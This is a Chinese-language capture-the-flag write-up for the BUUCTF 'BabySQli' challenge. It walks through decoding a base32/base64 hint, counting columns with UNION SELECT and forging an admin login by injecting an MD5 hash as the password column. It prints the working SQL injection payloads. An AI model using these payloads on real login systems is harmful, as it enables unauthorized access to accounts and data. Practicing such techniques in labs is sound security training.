buuctf-BabySQli 1
阿新 • • 發佈:2020-10-12
啟動靶機,開啟環境
又是一道sql注入的題
我又檢視原始碼,發現了一下search.php.然後又慣性思維就把他顯示出來,但是出來個這東西
感覺沒那麼簡單,再看一手原始碼,發現一串加密密文
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
這段應該是base32編碼,解一下成了base64編碼,然後再解一下就可以了
select * from user where username = '$name'
原始碼提示我們猜使用者名稱,我們嘗試使用
當利用admin當作使用者名稱的時候
當用非admin的作為使用者名稱的時候,
這就確定了,admin是可行的。確認使用者列表有admin.
然後我們還是像之前一樣,確定一下列數:
name=1' union select 1,2,3,4 %23 &pw=123
這樣的話就報錯了,然後再把4刪掉,成功顯示,這便確定了是3列
name=1' union select 1,2,3 %23 &pw=123
然後我們需要爆一下密碼,
name=1' union select 1,'admin',3 %23 &pw=123
確是這個亞子,查了一下wp,才瞭解到如果查詢的資料不存在的時候,union查詢就會構造一個虛擬的資料。sql的password會md5加密,然後我們將我們自己輸的密碼編碼成md5然後放入第三列當中,123加密成md5是
202cb962ac59075b964b07152d234b70
構造最終的pyload為
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23 &pw=123
這樣就爆出來了